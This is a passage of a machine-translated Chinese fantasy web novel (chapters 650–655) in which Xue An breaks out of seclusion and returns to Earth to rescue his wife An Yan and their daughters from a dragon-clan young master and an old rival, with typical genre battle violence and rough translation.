    But before Bai Guang had passed halfway, one evil soldier had one finger.


    boom.


    The white light was shot into the corner of the main hall, and then a girl in ancient costume appeared.


    The girl''s eyebrows were beautiful and her whole body trembled slightly with fear.


    "Tsk tsk, they look really good! Our brothers are so beautiful!" All these evil soldiers smiled and prepared to do it.


    At this moment, he heard a loud bang from the roof, and then the bricks rolled down, a dazzling sword light pierced down in the smoke and pointed directly at the top of an evil soldier.


    Before this evil soldier could react, his head was cut off by this sword.


    The smelly blood flowed all over the place.


    The remaining evil soldiers were all startled when they saw this, and they retreated subconsciously.


    After the smoke dissipated, a pale, blood-stained man was standing proudly in the court.


    "Yu Ming!" Of course, these evil soldiers recognized the kendo master who slaughtered countless monsters, and couldn''t help gritted their teeth.


    Yu Ming turned his head and glanced at the Rain God in the corner, then nodded gently.


    The girl in costume gradually stopped shaking.


    Then Yu Ming looked at these evil soldiers with killing intent in his eyes.


    "You dare to touch the Rain Temple, don''t even want to leave today!"


    "Yu Ming, I admit that you are great! But in front of us, it is not your turn to be rampant!"


    With that, these evil soldiers rushed forward.


    When Yu Ming walked with his sword, he saw a few sword lights flashing.


    Yu Ming had already walked behind these evil soldiers, and a trace of blood gradually appeared in the throats of these evil soldiers, and then there was a look of horror in his eyes, and finally the body fell to the ground.


    Seeing that these evil soldiers were dead, Yu Ming staggered, not falling down in a pool of blood.


    The rain **** girl hurried over to help, and then screamed in surprise.


    Because under Yu Ming''s clothes are all scars.


    Yu Ming gave a weak and bitter smile, "Master Rain, didn''t I tell you to hide away a long time ago? Why did you sneak back?"


    The rain **** bowed his head and said nothing.


    Yu Ming knew that she couldn''t speak, so he sighed slightly, "It''s too dangerous here. If you stay here, you will only cause more trouble! Good boy, wait until the chaos is over, will you come back again?"


    Rain God did not raise his head, but wrote a meta character gently in the air.


    Yu Ming was shocked, and then he remembered that today is the birthday of Yu Jia Jianxian, his ancestor Yu Yuanyi.


    It used to rain every year on this day in Lingnan.


    This was even more true after Yu Yuanyi returned from the dust.


    Unexpectedly, this rain **** always remembered.


    At this moment, Yu Ming had mixed feelings in his heart, and he didn''t know what to say.


    The Rain God silently stroked his forehead with his hand.


    A little bit of cyan raindrops fell on Yu Ming''s body and penetrated into his skin.


    Yu Ming felt that the blood all over his body accelerated, and the injury began to improve gradually.


    After a while, Yushen took a few steps back with a pale face, his figure was already thin to the point of almost transparent.


    "Master Rain God..." Yu Ming wanted to say something with a guilty expression on his face.


    At this moment, an extremely majestic evil spirit rushed directly, and the entire hall collapsed.


    Then, the evil **** with three eyes was ten feet tall and looked down at Yu Ming with a grimace.


    "Yu Ming, I see where else you can go this time!"


    Yu Ming''s face was extremely solemn.


    This three-eyed evil **** is the most powerful of the evil gods that besieged Lingnan.


    Today, Yu Ming was so badly injured when he was fighting with him.


    "Master Rain, you go quickly!"


    Speaking, Yu Ming pulled the Rain God and protected her behind him, then rose up into the sky, stabbing out with a sword.


    But such a dazzling sword didn''t even cut the skin of this evil god.


    He grinned, "Yu Ming, you killed so many gods and demons, now pay them for your life!"


    Speaking, patted it with a palm.


    Yu Ming was shot and flew out, crashing to the ground, vomiting a few big mouthfuls of blood, and it was already difficult to get up.


    The three-eyed Cthulhu leaned down, stretched out his hand with a grin, and wanted to crush Yu Ming to death like a dead ant.


    But at this moment, Rain God appeared in the field, tremblingly stretched out his hands, and blocked Yu Ming behind him.


    Seeing this scene, Yu Ming was angrily attacked, spit out another mouthful of blood, and then said miserably: "Master Rain, go! You are not his opponent!"


    The Rain God didn''t even move, just watching this three-eyed evil **** quietly.


    "Jie Jie, there is such a weak god, which is really a shame to our gods!"


    This three-eyed evil spirit laughed a few times, and if he didn''t care, he stretched out his hand to crush the rain god.


    The rain god''s slightly immature face showed firmness, and then stretched out his hand to pull the hairpin behind his head.


    The green silk is scattered like a waterfall, making this rain **** even more thrilling.


    When the three-eyed evil **** saw this, he laughed, "Why? You know you can''t beat me, and want to seduce me with beauty?"


    But as soon as his words fell, the rain **** bit Qingsi, the hairpin in his hand grew in the wind, and it turned into a long sword in the blink of an eye, and then he slashed out a sword without hesitation.


    Regardless of the timing of the sword or her technique, this rain **** is a complete kendo novice.


    When this three-eyed evil **** saw this, he even dismissed it, "Hehe, little god, you are here to be funny..."


    Before I could say the rest, I saw an unparalleled sword intent rising into the sky and heading straight to the three-eyed evil god.


    "How is it possible! How could you..."


    The Three Eyes Cthulhu screamed when he saw it, and wanted to avoid it.


    But this sword intent is like the imperial decree of the Nine Heavens Emperor, with the majesty that no one can resist.


    Click.


    The sword intent broke out.


    The three-eyed evil spirit was sluggish for a moment, and fine lines appeared on the entire body and then it broke.


    One sword!


    This powerful three-eyed evil **** was killed by the beheaded.


    Yu Ming stared blankly, and then trembled uncontrollably.


    Because he recognized this sword intent.


    "This...this is Mr. Xue''s sword intent!"


    The Rain God nodded, and then fell to the ground softly, the long sword let go and turned into a hairpin again.


    That day, Lingnan Rain God took action, relying on the sword intent Xue Andu gave her, Sword Slashing the Evil God.


    And this sword also evoked many people''s memories of Xue An.


    Many people thought silently, if Mr. Xue, who was once invincible in the world, could show up, would he be able to make these unscrupulous gods and demons return to where they should go?


    But where is he now?

 Chapter 651： Break the barrier and return to the earth

    The mystery of luck.


    Before Tiandaoyuan.


    The brilliant brilliance has been surging in the middle.


    The originally huge gem of luck has been exhausted at this moment.


    suddenly.


    A beam of brilliance rushed straight into the sky, and then a person rose into the sky.


    Then the sky and the earth shook, and layers of heaven and earth''s shackles surged crazily, trying to bind this person firmly.


    But this person just gave a soft drink.


    "Go! Dare to come over again and destroy your heavenly way!"


    With this yelling, all the shackles disappeared instantly, and the world became silent.


    Xue An came out naturally.


    I saw him standing high above the sky, overlooking the entire secret realm.


    On the ground, Liu Keke, who had been waiting hard, even Yunting and the others were all shocked.


    Because although Xue An stood so far away.


    But under the pressure of endless luck, people still want to worship.


    At this moment, all the Chinese in the entire secret realm suddenly felt clear, as if a layer of haze had been removed, the whole person became transparent.


    There are many Chinese teenagers who were originally geniuses who were unable to practice because of the restrictions of the rules. After removing this layer of haze, their bodies shone brightly and directly entered the realm of cultivation.


    The Fox Night, who had been waiting silently, also appeared above the sky at this moment.


    He looked at Xue An with a solemn expression and a cold light in his eyes, and he couldn''t help being a little surprised.


    "what happened?"


    Xue An shook his head, "It''s nothing, just saw a few pictures!"


    Huye closed his mouth very wisely when he saw this, because he knew that if Xue An didn''t want to say it, then it would be useless for anyone to ask.


    At the moment, Xue An was madly angry.


    Because when he was leaving the customs, he suddenly saw a few pictures in the gem of luck.


    These pictures are obviously inherited from ancient times, and looking at the background above, they happened on the earth.


    And what is recorded in these pictures is extremely **** and cruel.


    Among them are countless scenes of Chinese ancestors being madly slaughtered by several races.


    The cruelty of this killing, even children.


    This was enough for Xue An to be angry.


    In the end, a section of ancient seal characters suddenly appeared in Xue An''s mind.


    It was this passage that caused Xue An to rise up with murderous intent.


    The meaning of the words is very simple.


    That is to say, during this calamity, the luck of the ten thousand realms was originally captured by the Chinese, but several major races in the heavens did not want to see the Chinese grow stronger, so they conspired to unite and suddenly attacked the Chinese.


    In this battle, the Chinese suffered heavy losses unpredictably, their people were slaughtered, and their luck was even divided by these major races.


    In desperation, in order to preserve the blood of the Chinese, the great power of the Chinese at that time cut to build the wood, and all incarnate into the laws of heaven and earth on the earth, unparalleled.


    Let those gods and demons not come, so as to buy breathing time for the Chinese.


    In the end, the unknown Chinese might write with tears of blood.


    Looking forward to my descendants of the Chinese race, remember this **** and deep revenge, and avenge the Chinese people who died under the clutches of these major races!


    All this made Xue An''s beard and eyebrows stand, and the killing intent in his heart even affected the celestial phenomena in this secret realm.


    There was heavy snow in the sky.


    Hu Ye felt a little bit, but out of respect for his friends, he just patted Xue An on the shoulder.


    "Well, no matter what happens, my Qingqiu Fox Realm will definitely be on your side! This is my promise to you."


    Xue An looked at this fox night, his eyes warming, and then smiled.


    "I thought you left long ago, after all, your clone will collapse at any time."


    Fox Ye shrugged, "The movement of your absorption of Qi is too great, I am afraid that this Fang Tiandao will not be able to block it, and if there will be another strong man from the sky, I will wait here! Now that you are out of the barrier, then I should go. !"


    "So fast?"


    Hu Ye smiled bitterly and nodded, "Yes, the great elder sent many guards to look for me everywhere, and Hu Xuesha had already returned to deliver the letter. I must go back and see what happened! At the same time, I am going to think of a way to resurrect a girl! "


    "Is that the piece of soul fragment you carried with you?" Xue An asked.


    Hu Ye nodded, "She''s A Bao."


    Xue An patted him on the shoulder, "Well, brother, take care all the way!"


    Fox Ye trembled, "Hey, this is not your style!"


    Xue An laughed and scolded: "Get out! Do you have to scold you to be happy? Humble leather!"


    Hu Ye smiled, "Xue An, I am waiting for you in the heavens and ten thousand realms!"


    After that, his clone began to disintegrate, and a divine mind passed through layers of heaven and disappeared into this secret realm.


    Xue An looked at his leaving back, smiled slightly, turned and fell to the ground.


    Liu Keke, Lian Yunting and others all surrounded, Hua Youan was also there, but Xiao Shui and others were gone.


    "Senior, General Shui has already returned to Ancient China with all the officers!"


    Speaking of this, Hua Youan''s face showed an exuberant expression.


    After Xue An was in retreat, Fox Night waited here and dismissed the group of demons in the Yaozu Mountain Range.


    Also leaving together was Xiao Shui, a group of real armored soldiers.


    The cause of the Thousand Races Conference has spread throughout the entire secret realm, shocking the world.


    All the sects who had oppressed the Chinese in all manners were so scared that they couldn''t sleep at night, and they wanted to run quickly while the Chinese was able to retreat.


    For example, the ronin nation that once threatened the ancient Chinese nation and prevented it from participating in the Thousand Races Conference.


    But none of these people thought that Xiaoshui had already returned to the ancient country of China first, and then began to collect blood debts one by one.


    No matter how tough the opponent has been.


    Under the offensive of the armored real soldiers, there were no enemies of Yihe, and all of them were slaughtered.


    The ronin nation ended up with a nation''s destruction.


    These, how can we not let Hua Youan, who was once oppressed, excited about it.


    Xue An just smiled when he heard it.


    Now that the luck of all realms belongs to him, the rise of the Chinese is unstoppable, and there is no need to worry about the small group of young people.


    The goal of the Chinese is not to live in this small world, but the sea of ??stars!


    Of course, these things are planned later.


    Xue An always felt a little uneasy now. He was afraid that something would happen on the earth, so after taking care of the affairs of this world, he prepared to return to the earth.


    Liu Keke and Lian Yunting looked at each other, and stepped forward a little weakly and asked, "Master!"


    "senior!"


    "Shall we go back with you?"


    Xue An smiled after hearing the words You should cook here first, I will go back and have a look, and from then on, this secret realm should be open to the earth, and it will be very convenient to come and go! "


    As he was talking, Xue An suddenly felt his eyelids twitch, and a strong hunch struck his heart.


    It''s Anyan!


    Xue An looked startled, and then an extremely powerful murderous intent rose into the sky, directly shaking the world.


    Liu Keke and the others were horrified back for several steps, and looked at Xue An with a terrified expression.


    Xue An didn''t delay any longer, and directly swiped across, cutting open the space for life, and then disappeared directly into this secret realm.


    Wife, daughter, wait for me!


    If anyone dares to hurt your hair!


    I tore up these heavens and worlds!

 Chapter 652： Tianlong clan 3 young master

    Qingmang Town.


    Since the chaos of the world, the once quiet town has become restless.


    All those who had a little way had already run away, leaving only some lonely and poor people with the mentality of passing by.


    But what no one expected was that Qingmang Town would be safe and sound for a while.


    It is as if those gods and demons have deliberately forgotten this town, even if there are gods and demons passing by, they will avoid this town far away.


    This made the residents of this town grateful, thinking that it was the local grandfather of the land or some other **** who was protecting the town.


    Xiao Sha sneered at this.


    "If it weren''t for my Longwei protection, those gods and demons would let this town go? But thanking the gods and Buddha for blessing, what a bunch of fools.


    After hearing Xiaosha''s complaint, An Yan just smiled, "Okay, these people don''t know about your existence. Besides, would you like to sit at the altar table all day and be worshipped by these people?"


    Hearing An Yan''s words, Xiao Sha thought about sitting at the altar table. Every day he was exposed to the incense and the tragic life that he could not even eat a roast chicken. She couldn''t help but fought a cold war and shook her head again and again.


    "I''m not willing!"


    "Still! This is actually not bad. You protect one party, but they are grateful to the gods and Buddhas in their hearts, and don''t interfere."


    Xiaosha agreed.


    An Yan has been living in the hotel during this time, guarding his sister An Qing every step of the way.


    She found that although An Qing was asleep, her cocoons seemed to grow and change every day.


    Although I didn''t know whether it was a blessing or a curse, it proved that An Qing was not dead, which also made An Yan a little relieved.


    Because the roads are now interrupted and there is chaos everywhere, naturally no tourists will come, so the hotel has been completely closed.


    Xue Lan patrols everywhere with An Yan every day to prevent demons from causing trouble.


    Everything was calm at first.


    But on this day, the arrival of a few cars broke the tranquility of the town.


    This is a convoy of seven or eight Hummer off-road vehicles, and arrogantly directly rushed through the roadblocks set up at the intersection of the town, and then drove onto the central square of the town.


    The huge roar of the engine attracted the attention of many people, but no one dared to go out and see what was going on.


    At the same time, the door of the leading off-road vehicle opened, and a man in a suit and leather shoes hurriedly got out of the car, then ran to the middle car and opened the door respectfully.


    A young man who looked very arrogant and domineering with his eyes raised slowly got out of the car, then looked around, a grim smile appeared on his face.


    "Sure enough, there is Longwei, but the breath of Longwei is very disordered, it should be a mixed dragon!"


    Then he looked at the oily man on the side and said lightly: "Is this Xue An''s hometown you mentioned?"


    The man with oily noodles nodded quickly, "Young Master Long, yes, this is Xue An''s hometown, and now his wife and children live here!"


    Long Shao nodded slightly, "Your intelligence is correct. Although it is a miscellaneous dragon, it is a bit rewarding, but you seem to hate Xue An very much."


    The oil-headed man lowered his head, his eyes gleamed with an extremely resentful light, and said bitterly: "Young Master Long, this Xue An was very arrogant at the beginning, and he had to kill me in public. To save my life, my father offered a treasured wild ginseng. I could barely keep alive, but then my Lin family was targeted by the **** Qin Yu everywhere, and finally ended in bankruptcy. My father died of depression. It can be said that all of this was given by this Xue An. Can you not hate him?"


    That''s right.


    This greasy man was exactly the young Lin Fenglin who had been taught by Xue An.


    Xue An had just returned from rebirth at the time, but coincidentally met him on the road.


    Then Lin Feng ridiculed, and received Xue An''s fat beating, but the Lin family was still depressed because of this, and finally ended up in ruin.


    But Lin Feng didn''t leave Beijiang, but kept lurking, hoping to retaliate.


    But with the passage of time, the power of the Qin family became more and more powerful, and Xue An''s fame became even stronger.


    That kind of almost mythical rumors made Lin Feng increasingly desperate.


    But when he thought that there was no hope for revenge in this life, the world suddenly changed and the gods and demons came to the world.


    This Lin Feng was overjoyed, and desperately began to drill camp everywhere, and then he got acquainted with the young dragon clan.


    This Long Shao''s powerful strength made Lin Feng overjoyed, hoping to get rid of Xue An and avenge himself.


    But after an investigation, Lin Feng discovered that Xue An had disappeared years ago, and there has been no news.


    But he also inquired that Xue An''s wife and children were in Qingmang Town, and there was a very powerful guard.


    So under Lin Feng''s various frustrations, the young dragon clan came along with him.


    At this moment, the Long Shao looked around, a sneer appeared on his face, then a pair of eyes suddenly brightened, and a powerful pressure spread.


    Lin Feng retreated again and again with a pale complexion, and finally hid behind the car before he could barely stand still.


    At the same time, Xiao Sha, who was eating roast chicken in the hotel room, stood up suddenly.


    "Master Xiaosha, what''s the matter?" Zhang Xiaoyu asked hurriedly.


    Xiao Sha''s face was extremely solemn, "Don''t let the mistress and the two young ladies come out!"


    After speaking, he broke through the glass of the room and flew to the square in an instant.


    After seeing Xiao Sha''s face clearly, this Long Shao was startled slightly, and then smiled more and more triumphantly and wildly.


    "Sure enough, it turned out to be a local flood dragon transformed into it!" Long Shao said lightly.


    "Who are you? Why come to my Qingmang Town?" Xiao Sha asked coldly.


    Shao Long shook his head and chuckled, his eyes suddenly changed to dragon eyes, and said in a majestic voice: "I am the third young master of the Tianlong clan, Zalong, don''t you see me kneel down?"


    With this shout, he asked.


    Xiao Sha felt the pressure on her body suddenly increased, and she fell straight to the ground, her knees involuntarily wanting to bend.


    Lineage suppression!


    A phenomenon that exists in Yaozu.


    As long as your bloodline is noble and stronger than the opponent, then you can give orders to the lower demons.


    But in the face of this scene, Xiao Sha roared, "I care about you three young and four young! Those who break into my territory, die!"


    With that, Xiao Sha broke free from the suppression of the bloodline and rushed directly to the dragon three, snapping his hands.


    This Long San gave a slightly surprised voice, "You can break free from my suppression. It seems that your bloodline is a bit interesting! But... that''s all!"


    As he said, Long San waved his hand casually.


    Xiao Sha felt a huge force hit The whole person was blown out directly, but just before she was about to hit a house.


    A hand supported her from behind.


    "Xiaosha, are you okay!" came the soft female voice.


    Xiaosha looked back.


    It is An Yan.


    "My mistress, you... why are you here?" Xiaosha was anxious.


    The strength of this Dragon Three is extremely terrifying, and he is not his opponent.


    Wouldn''t it be dangerous if Anyan appeared.


    An Yan smiled, waiting to speak.


    At this time, Lin Feng had already crawled in front of Long San, pointed to An Yan in the air and said, "Young Master Long, this woman is Xue An''s wife!"


    Long San looked at the peerless An Yan, with stunning and greedy eyes in his eyes.

 Chapter 653： Sleepy Dragon Talisman

    "Interesting, I didn''t expect there is such a stunning woman in this mortal world." Long San licked his lips, salivating.


    Dragon nature is kinky.


    What''s more, he is a powerful dragon clan with the blood of Heavenly Dragon, and he is full of possessive desire for beauty.


    An Yan frowned, the look and words of Long San made her feel very uncomfortable.


    "Who are you? Why did you break into Qingmang Town and injured Xiaosha?"


    Before Long San could speak, Lin Feng already grinned and said: "The surname is An, this is the Long San of the Tianlong clan, and how many years have I been with your husband Xue An!"


    When talking about the three words of the old classmate, Lin Feng deliberately increased his tone, his face was full of hatred that could not be covered.


    "As for why we came... Hehe, I heard that your husband has been missing for a long time. This is not because I came here specially for fear of your loneliness..."


    Before he could finish speaking, An Yan was already so angry that he snorted coldly, "Shameless!"


    As he said, he rushed to Lin Feng, raising his hand with a palm.


    If this palm was shot, Lin Feng would have to be disabled if he didn''t die.


    But at this moment, Long San on the side waved casually.


    An Yan felt that a powerful offensive had come, so she had to twist her body in desperation to avoid the blow.


    Long San said lightly: "Such a delicate skin and tender skin, if it is broken, it will be very distressing! But as long as you are obedient, I will not hurt you! After all... I know how to pity and cherish jade. of!"


    An Yan''s eyes were full of murderous intent, and without saying a word, he moved his hand directly.


    And Xiao Sha in the air was also furious, and was actually rude to the mistress. For Xiao Sha, it was even more uncomfortable than killing her.


    So he rushed over without hesitation.


    One person, one dragon, and together they besieged the three young masters of the Tianlong clan.


    Faced with such a combined attack, Long San chuckled.


    "It''s useless, I just stand still, and you can''t beat me!"


    With that, a layer of dragon scales shimmering with golden light appeared on the surface of Long San''s skin.


    boom!


    An Yan slapped this Long San''s head, but was not moved at all, and was directly counter-shocked.


    Xiao Sha was no exception, kicking Long San''s back, instead made himself back a few steps.


    Long San laughed smugly, "I said, you are not my opponents at all, you should surrender obediently!"


    An Yan''s face sank like water, and he took the pan directly from the mustard ring.


    Long San was startled at first, and then he couldn''t help laughing louder, "I was carrying a pot, why? Do you think you can''t beat me, so you want to laugh at me?"


    Before he could say anything, An Yan rushed to him, raised the pan and patted it.


    Long San didn''t take it seriously, and even sneered, "If you can impress me with this pot, I will write my Long San''s name backwards in the future."


    boom.


    There was a loud noise, accompanied by bright electric lights.


    Long San, who was originally full of disdain, was directly blasted out, and in mid-air, his body was still entangled with electric light, and his body was full of blue smoke.


    It wasn''t until it landed that these electric lights gradually dispersed.


    But at this time, Long San no longer had the calmness he had just now, and the dragon scales on his body were no longer so golden, but there were many burnt black marks.


    "You can actually release the sky thunder, what is this in your hand?" Long San stared at An Yan, and asked in a cold voice.


    An Yan raised his hand and said lightly: "Didn''t you already say it, this is just a pan!"


    Long San''s expression changed, and after a while he gradually returned to normal, and then grinned and said: "Very well, I originally wanted to slowly surrender to you, but since you are so ignorant to promote, don''t blame me for being rude!"


    With that, Long San''s figure appeared directly behind An Yan, and he was about to pinch her neck with a palm out.


    An Yan was shocked, and tried his best to avoid the blow, but it was still a little slower. A strong wind swept across the earlobe, and a drop of red blood leaked out.


    "Mother!" Xiao Sha''s eyes were about to split, and he roared out of his body directly, and then rushed over to fight Long San.


    Long San was taken aback for a moment, and then grinned and said, "A hybrid dragon can actually be transformed into a five-clawed golden dragon! It seems that I have come right this time!"


    After that, Long San waved his hands, and a talisman exuding Longwei appeared in the air.


    Dragon talisman!


    Higher dragons can communicate with the world through the power of mantra, and this dragon talisman is one of the methods.


    At this time, Xiao Sha had already rushed to the front, opened his mouth, and wanted to spit out Long Yan.


    But at this moment, this dragon talisman suddenly lit up, and then it was printed directly on Xiaosha''s forehead.


    Click.


    There was a crisp sound.


    Countless small chains of brilliance stretched out from this dragon talisman, directly covering Xiaosha''s body, and then suddenly tightened.


    boom.


    Xiao Sha fell to the ground and could no longer move.


    But even so, Xiao Sha still refused to accept it, still struggling hard.


    But every time they struggled, these Guanghua chains would tighten by one point. In the end, Xiaosha''s dragon scales had been cut open, and the blood was squeezed into the flesh and blood.


    "Xiao Sha!" An Yan exclaimed.


    "It''s useless, hitting my sleepy dragon charm, even if you are a nine-day real dragon, you have to obediently bind your hands!" Long San said lightly, then turned to look at An Yan.


    "Now her life is in my hands. As long as I give an order, she will be strangled to death! But if you give in to me..."


    An Yan was surrounded by murderous aura, waiting to speak.


    "Asshole, you dare to treat Master Xiaosha like this, and die for me!" As he shouted, the octopus flew from a distance, and countless octopus legs went straight to the dragon three.


    Long San didn''t take it seriously at all, and with a wave of his hand, most of the octopus legs of the octopus were cut off.


    The painful Zhang Xiaoyu screamed and almost fell from midair.


    The trapped Xiao Sha said angrily: "You idiot, who let you come!"


    Zhang Xiaoyu had tears in her eyes, "I saw Master Xiaosha you are trapped, so I want to come and rescue you!"


    "I don''t need you to save me, take your mistress and go!" Xiao Sha roared.


    Long San slowly clapped his handsTsk, there are actually aquatic spirits, since they are here, let''s leave the ingredients for the hot pot! "


    With that said, Long San was about to do it.


    At the same time, two small figures flew up crookedly.


    "Mom! Xiaosha!" The two little girls exclaimed.


    Just thinking and thinking.


    Then Xue Lan hurriedly flew over, "I miss you, go back soon!"


    "No, we won''t leave! We want to beat the bad guys with our mother!" Miss Missing said.


    At this time, Lin Feng said to Longsan: "Young Master Long, these two little girls are Xue An''s twin daughters!"


    Long San grinned, "Very well, since they are all here, don''t leave at all!"


    But at this moment, the originally clear sky suddenly darkened and changed from day to night in the blink of an eye.

 Chapter 654： From now on, I allow you to live 10 more...

    "What''s the matter?" Long San let out a shock, and looked up.


    At this time, the stars and the moon were spinning in the sky, and a huge gate of time and space gradually emerged.


    Long San''s expression gradually became solemn, because he could vaguely feel that there was an extremely terrifying vast force behind this gate of time and space.


    An Yan suddenly thought of something, and her whole body began to tremble uncontrollably.


    Xiao Sha raised his head to look at the sky with all his strength, and muttered, "It''s your lord, your lord is back!"


    At this moment, the gate of time and space opened slowly.


    Then a figure suddenly emerged and stood on top of the sky.


    As soon as this figure appeared, the sky full of stars and moon also bowed his head.


    Under this powerful majesty, the whole world seemed to have stagnated even the wind, and there was dead silence.


    But it was the two immature childlike voices that broke the silence first.


    "It''s Dad!"


    "Dad is back!"


    Thinking and Nian Nian cheered for joy.


    On the other hand, An Yan squeezed her mouth, tears like a flood that burst a bank, and couldn''t stop it.


    Lin Feng trembled all over, and his complexion instantly turned pale.


    "Could it be... really he is back?"


    It seems to be in response to his question.


    Seeing a flash of light, Xue An''s figure appeared in front of the two daughters, and then put the two little girls in his arms.


    Miss Nian''s excited little face flushed, and he hugged Xue An''s neck tightly, and first kissed Xue An alone.


    "Dad, you are finally back! We miss you so much!"


    "Yes, Dad, why have you been there for so long this time!"


    Looking at the excited tears of the two little girls.


    At this moment, Xue An is so distressed that he doesn''t know what to do. He can only say softly: "Dad is wrong, and I will never leave for so long in the future!"


    "Hmm!"


    The two little girls snuggled up in Xue An''s arms obediently and said nothing to let go.


    Then Xue An looked at An Yan and smiled, "Yan''er, I''m back!"


    An Yan nodded vigorously, "Well, just come back!"


    Xue An was smiling at first, suddenly as if seeing something, the smile on his face instantly became cold.


    "Yan''er, what''s the matter with the wound on your earlobe?"


    An Yan was startled, then touched her ears, "Is there any injury?"


    Because the bruise was so slight, she didn''t even notice it.


    At this time, Xiao Sha, who was trapped by the dragon talisman, said loudly: "Boss, the mistress was injured by this guy! I saw it with my own eyes!"


    The two little girls heard the words and pointed to Long San and said, "Dad, this big villain can be broken or broken. He actually caught Xiaosha and cut off Zhang Xiaoyu''s legs."


    "Yeah! He still bullied his mother and said he wanted to take her away!"


    Xue listened quietly, looked down at Long San, and then turned his gaze to Lin Feng who was aside.


    "Young Master Lin, long time no see!" Xue An said lightly.


    Lin Feng shocked all over, and stepped back subconsciously. His face was full of horror. He wanted to say something, but he couldn''t say anything.


    At this moment, Long San suddenly began to applaud softly, and then said in a mocking tone.


    "Tsk tsk, no matter what your skills are, this way of playing is really...enough."


    Lin Feng just remembered that he was carrying a great master this time, so he quickly said, "Young Master Long..."


    Long San waved his hand, then raised his head, looking at Xue An arrogantly, "Are you Xue An?"


    Xue looked at him quietly, and after a while, he said lightly: "From now on, I allow you to live ten more breaths!"


    Long San laughed loudly when he heard the words, "Ten breaths? Don''t think that you are a golden immortal. In the eyes of my Tianlong clan, you golden immortals..."


    Before he could finish his words, Xue An raised his hand to shield the two daughters'' spiritual knowledge, and then rushed to Long San silently.


    Long San felt that the dragon scales all over his body exploded instantly, feeling extremely dangerous, he was about to dodge.


    Xue An stretched out a hand and directly strangled his neck.


    Long San roared, trying to break free.


    Xue An''s expression was indifferent, the light in his eyes was bright, and the palm of his hand suddenly pressed hard.


    Click.


    There was a sound of broken bones that made the scalp numb.


    Xue An actually chopped off Long San''s cervical vertebrae with one hand.


    But the strong vitality of the Tianlong clan made Long San not care about this injury at all. He even grinned and said, "It''s useless, the body of the Tianlong clan is almost immortal! I just...ahhhhhhh!"


    Long San howled in pain.


    Because Xue An stretched out his other hand and grabbed Long San''s head directly, and then both hands pressed hard.


    Boom.


    With a muffled sound like opening the cap of a beer bottle, Xue Ansheng pulled out Long San''s head.


    While the blood was splashing, this Long San was still not dead, and his head was still shouting in horror: "What''s the matter, why can''t all my cultivation base be used anymore!"


    Long San had just been trying to fight back, but no matter how he used it, he couldn''t display it.


    Xue An looked indifferent and ignored Long San''s shout.


    And the neck of Long San''s headless body squirmed, as if he wanted to grow a head again.


    Just as Long San said, the blood talent of the Tianlong clan makes their bodies extremely powerful, and ordinary injuries can''t kill them.


    Even if you cut him into pieces little by little, they might be born again.


    "Hehehe, Xue An, you are really good, but you can''t kill me!" Long San''s gradually forming head was yelling vaguely.


    Xue An said indifferently: "Just now, it was for my wife to collect the debt! Now...Go to hell!"


    As he said, Xue An waved his hand, "Causality!"


    boom!


    Long San''s body was completely solidified in an instant.


    Only the fright in his eyes tells people that this is not a statue.


    "reverse!"


    With an order, cracks appeared on Long San''s body, which spread all over his body in the blink of an eye, and then suddenly shattered, turned into powder, and disappeared.


    This is the complete destruction of the soul, and even the cause and effect of his existence in this world have been wiped out.


    At this time, it happened to be ten breaths.


    Seeing this scene, Lin Feng''s eyes went black and he almost fainted.


    He originally thought that a powerful master like Long San would definitely wipe out Xue An.


    Unexpectedly, in front of Xue An, he didn''t even take ten breaths.


    When Xue An looked at him, Lin Feng''s face was extremely gray, and he trembled: "Xue... Xue An, no... don''t kill me, I have an important message to tell..."


    Xue An raised his mouth, "Important information?"


    "Yes! As long as you let me go, I can tell you now!"


    Xue An shook his head, "No need!"


    "Xue An...I..."


    Before he could finish speaking, a ray of flame rose from under his feet and instantly covered his whole body.


    "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!"


    Xue quietly looked at Lin Feng in the flames, and said indifferently: "When you attack my family, you should be prepared for a place to die without burial, and this is just the beginning!"

 Chapter 655： My husband is omnipotent!

    When the flames dissipated, Lin Feng had already turned into fly ash, only a dim light spot floating in the air.


    This is Lin Feng''s remaining divine soul fragment.


    Xue An took it, inspected it for a moment, and was taken aback for a while, then a cold smile appeared at the corner of his mouth, and he squeezed the soul fragment into powder.


    At this time, with the death of Long San, the trapped dragon talisman in Xiaosha''s place had also disappeared. She turned over and sat up on the ground, and then resumed her human form.


    "Boss!"


    Xue An nodded, "How is the injury?"


    Xiao Sha smiled, "It''s just a little trauma, nothing wrong!"


    Having said that, Xiao Sha''s complexion was still very pale.


    The Dragon Talisman is a vicious spell specially used to deal with the dragon clan. Once contaminated, it is like a tarsal maggot, which is difficult to eradicate.


    Xue An didn''t say anything, just a quick finger.


    Xiao Sha felt as if a huge boulder had been moved away from her heart. His whole body''s energy was immediately unblocked, and his injuries began to heal.


    Xiao Sha couldn''t help being shocked.


    The boss went out, it seems to be a lot better!


    It seems that in the future, I have to go out with the boss more than anything else.


    Xiao Sha thought to himself, and Zhang Xiaoyu came over.


    "Master Xiaosha, are you all right!"


    Xiao Sha looked at the equally ugly face of Zhang Xiaoyu, and suddenly became a little annoyed, "Fool, what did you just come to do? Can''t you see that that guy is very powerful? I even dared to reach out, what if he died?"


    Zhang Xiaoyu was teary by Xiaosha''s repeated reprimands, and she dared not speak with her head down.


    After a while, Xiao Sha took a deep breath, and then said unnaturally: "What about your tentacles? Will it be okay if you break so many roots?"


    Zhang Xiaoyu suddenly smiled when he heard the words, "Master Xiaosha, the tentacles of the octopus can regenerate. When I''m bored, I still play around by myself, of course, nothing will happen."


    Xiao Sha was stunned when he heard the words, and then his eyes lit up, "If you say that, you can really have a hot pot?"


    Zhang Xiaoyu: "..."


    The two monsters were muttering and talking.


    Xue An smiled, then hugged his two daughters and returned to the hotel with An Yan.


    When I saw An Qinghou who was lying on the bed and covered in cocoons.


    Xue An''s eyes flickered and he didn''t know what he was thinking.


    An Yan was a little worried, "Husband, what''s wrong with Qing''er? There is no danger, right!"


    Xue An smiled when he heard the words, then shook his head, "It''s okay! Not only is it okay, but it will also be a great opportunity for her."


    "Great opportunity?" An Yan was a little surprised.


    Xue An nodded, "This An Qing once merged the blood of the Zerg queen in the Zerg Secret Realm, but after all, there is a difference between humans and insects, and the power of this blood is only superficial and not truly integrated."


    "But this time by chance, because I felt An Qing''s soul was impacted, this Zerg bloodline began to actively merge with An Qing''s soul for the first time in order to protect the Lord."


    "This is why she will be covered in cocoons. She is now undergoing transformation! If the transformation is successful, she will become the first person to have the blood of the Zerg queen as a human being."
